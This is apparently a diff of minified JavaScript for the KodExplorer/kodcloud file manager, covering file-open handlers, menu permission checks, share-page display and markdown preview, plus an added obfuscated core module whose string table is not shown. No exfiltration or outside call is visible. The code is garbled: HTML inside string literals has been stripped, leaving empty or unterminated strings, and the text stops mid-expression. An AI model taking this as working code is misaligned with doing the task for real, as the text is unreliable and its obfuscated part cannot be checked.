0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
          '+LNG.unknow_file_tips+"
          "+t+'
          2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+r+o+'">'+LNG.unknow_file_download+'
          '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/shareCommon/topbar",[],function(){var e=function(){var e=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid,t=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid;"file"!=G.shareInfo.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()):($(".btn.button-my-share").show(),$(".share-info-user .btn-group").hide()),"file"==G.shareInfo.type&&($(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()),"1"==G.shareInfo.notDownload&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share-info-user").removeClass("hidden"),$(".btn-download").attr("href",e);var a=date("Y/m/d H:i:s",G.shareInfo.mtime);$(".topbar .time").html(a),"file"==G.shareInfo.type&&$(".topbar .size").html(G.shareInfo.size),$(".topbar .info").html(LNG.share_view_num+G.shareInfo.numView+" "+LNG.share_download_num+G.shareInfo.numDownload),$("#button_share").die("click").live("click",function(){share()}),"A"!=core.versionType&&$(".version_vip_free").remove(),core.isApp("explorer")&&(console.log($(".btn-download")),$(".btn-download").hide().attr("href","").remove())};return{init:e}}),define("app/src/shareIndex/fileShow",["../edit/previewMarkdownParse"],function(e){var t="share/fileDownload&user="+G.user+"&sid="+G.sid,a="share/fileProxy&user="+G.user+"&sid="+G.sid,i=G.KOD_USER_SHARE+":"+G.user+"/";G.shareInfo&&G.shareInfo.name&&(i+=G.shareInfo.name+G.path);var n=function(){t=G.appHost+t,a=G.appHost+a,o(),G.shareInfo!==void 0?(G.path=htmlDecode(G.path),G.shareInfo.path=htmlDecode(G.shareInfo.path),"file"!=G.shareInfo.type&&(a+="&path="+urlEncode(G.path),t+="&path="+G.path),"1"==G.shareInfo.notDownload&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),kodApp.open(i),s()):$(".share-info").addClass("hidden")},o=function(){kodApp.clearOpenUser(),kodApp.openUnknow=r,kodApp.remove("onlyoffice"),kodApp.setOpenUserLocal(!1,"autoDeskViewer"),kodApp.setOpenUserLocal(!1,"yzOffice"),kodApp.setOpenUserLocal(!1,"epubReader"),kodApp.add({ext:"jpg,jpeg,png,bmp,gif,ico,svg,cur,webp",sort:1e3,callback:function(){var e='';$(".content-box").addClass("show-image").append(e)}}),kodApp.add({ext:"md",sort:1e4,callback:d}),kodApp.add({ext:kodApp.appSupportCheck("aceEditor"),sort:1e3,callback:function(){e.async("lib/ace/src-min-noconflict/ace",function(){e.async(["lib/ace/src-min-noconflict/ext-language_tools","lib/ace/src-min-noconflict/ext-modelist"],function(){c()})})}})},s=function(){if($(".artDialog").exists()){var e=$(".artDialog").data().artDialog;if(e.hasFrame()){$(".artDialog").addClass("hidden");var t=e.DOM.wrap.find("iframe").attr("src");e.close();var a='';$(".frame-main").append(a),$(".content-box").addClass("hidden")}}},r=function(){var e=core.pathExt(G.shareInfo.path),a=$(".bindary-box");a.removeClass("hidden"),a.find(".name").html(htmlEncode(G.shareInfo.name)),a.find(".ico").html(core.icon(e)),a.find(".btn-download").attr("href",t);var i=date("Y/m/d h:i",G.shareInfo.mtime);a.find(".share-time").html(i),a.find(".size span").html(G.shareInfo.size),$("body").addClass("can-select")},l=function(e){for(var t=[],a=0;e.length>a;a++)t[a]=e.charCodeAt(a).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},c=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist"),t=ace.require("ace/lib/net");t.loadScript.hook("loadScript",t,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments}),core.fileGet(G.path,function(t){var a=e.getModeForPath(G.shareInfo.path).mode;if("ace/mode/text"==a){var i="
          "+htmlEncode(t)+"
          ";return $(".content-box").addClass("show-code").append(i),void 0}var n='
          '+l(t)+"
          ";$(".content-box").addClass("show-code").append(n);var o=ace.edit("ace-text-show");o.setTheme("ace/theme/tomorrow"),o.setReadOnly(!0),o.setShowPrintMargin(!1),o.getSession().setMode(a),o.getSession().setTabSize(4),o.getSession().setUseWrapMode(1),o.setFontSize(15)})},d=function(){var t=e("../edit/previewMarkdownParse");e.async("lib/markdown/markdown-it.min",function(){var e=window.markdownit({html:!0,breaks:!0,linkify:!0});core.fileGet(G.path,function(a){var i=e.render(a),n=$(".content-box");n.addClass("markdown-preview can-select").append(i),t.bindBigView(n),t.menu(n),t.code(n),t.math(n),t.flow(n)})})};return{init:n}}),define("app/src/edit/previewMarkdownParse",[],function(e){var t={},a=[],i=function(e,i){var n=t,o=a,s=100;if(void 0==i){if(n[e]){var r=lodash.findIndex(o,{key:e});return o[r]={key:e,time:timeFloat()},n[e]}return!1}if(lodash.size(n)>=s){for(var l=lodash.sortBy(o,"time").reverse(),c=lodash.map(l,"key"),d=c.length-1;d>s-1;d--){var p=c[d];delete n[p]}o=l.slice(0,s-1)}return n[e]=i,o.push({key:e,time:timeFloat()}),!0},n=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),a="markdown-menu-"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
        • '+$(this).text()+"
        • "}),t="
            "+t+"
          "},o=function(e){e.find("a").attr("target","_blank");var t="

          [TOC]

          ";if(-1!=e.html().indexOf(t)){var a=n(e),i=e.html();i=i.replace(t,a),i=i.replace(/ data-link="#(.*?)">/g,'>'),e.html(i)}},s=function(t,a){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t)}),"function"==typeof a&&a()})},r=function(t,a){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),$(t).find(".language-latex,.language-math,.language-katex").each(function(){try{var e=$(this).text(),t=md5(e),a=i(t);if(a)return $(a).clone().insertBefore($(this).parent()),$(this).parent().remove(),void 0;var n=katex.renderToString(e);if("string"!=typeof n)return;var o=$('
          '+n+"
          ");o.insertBefore($(this).parent()),$(this).parent().remove(),i(t,o.clone())}catch(s){}}),"function"==typeof a&&a()})},l=function(t,a){e.async(["lib/markdown/mermaid/mermaid.min.js","lib/markdown/mermaid/mermaid.min.css"],function(){$(t).find("pre code").each(function(){var e=ltrim($(this).text()),t=md5(e),a=i(t);if(a)return $(a).clone().insertBefore($(this).parent()),$(this).parent().remove(),void 0;if($(this).hasClass("language-mermaid")||$(this).hasClass("language-sequence")||$(this).hasClass("language-seq")||$(this).hasClass("language-gantt")||0==e.indexOf("gantt")||0==e.indexOf("sequenceDiagram")||0==e.indexOf("classDiagram")||0==e.indexOf("gitGraph")||0==e.indexOf("graph")){($(this).hasClass("language-sequence")||$(this).hasClass("language-seq"))&&0!=e.indexOf("sequenceDiagram")&&(e="sequenceDiagram\n"+e),$(this).hasClass("language-gantt")&&0!=e.indexOf("gantt")&&(e="gantt\n"+e);var n=$('
          '+e+"
          ").insertBefore($(this).parent());try{mermaid.init(void 0,n),$(this).parent().remove(),i(t,n.clone())}catch(o){}}}),"function"==typeof a&&a()})},c=function(){var e=$("image-view-big");if(!e.exists()){e=$('').appendTo("body");var t=".image-view-big,.markdown-flow,.markdown-preview img{cursor:pointer;} .image-view-big .label{color: #444;} .image-view-big{ position:fixed;left:0;top:0;right:0;bottom:0;z-index: 99999; background:rgba(255,255,255,0.95);text-align:center; } .image-view-big img{ margin: auto;padding: 2px; box-shadow: 0 0 20px #555; height: auto;max-width: 100%;vertical-align: middle; position: absolute; top: 0;bottom: 0;left: 0;right: 0; } .image-view-big .svg{background:#fff;}"; -$.addStyle(t)}var a=function(t){t?e.removeClass("hidden").hide().fadeIn(100):e.fadeOut(100,function(){e.html("").addClass("hidden")})};$(".markdown-flow").die("click").live("click",function(){e.html($(this).html()),a(!0)}),$(".markdown-preview img").die("click").live("click",function(){$(this).clone().appendTo(e),a(!0)}),$(".image-view-big").die("click").live("click",function(){a(!1)})};return{getMenu:n,bindBigView:c,menu:o,code:s,math:r,flow:l}}); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/shareIndex/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","../../shareCommon/topbar","./fileShow","../edit/previewMarkdownParse"],function(a,b,c){a("lib/jquery-lib"),a("lib/util"),a("lib/artDialog/jquery-artDialog"),a("lib/contextMenu/jquery-contextMenu"),core=a("../../common/core"),topbar=a("../../shareCommon/topbar"),fileShow=a("./fileShow"),window.require=a,$(document).ready(function(){if(core.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var a=function(){var a=$.getUrlParam(),b=a.url+"&password="+$(".form-control").val();$.get(b,function(a){1==a.code?window.location.reload():Tips.tips(a)})};$(".share-login").click(a),$(".form-control").keyEnter(a)}})});;;;;;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof $[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof $[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof 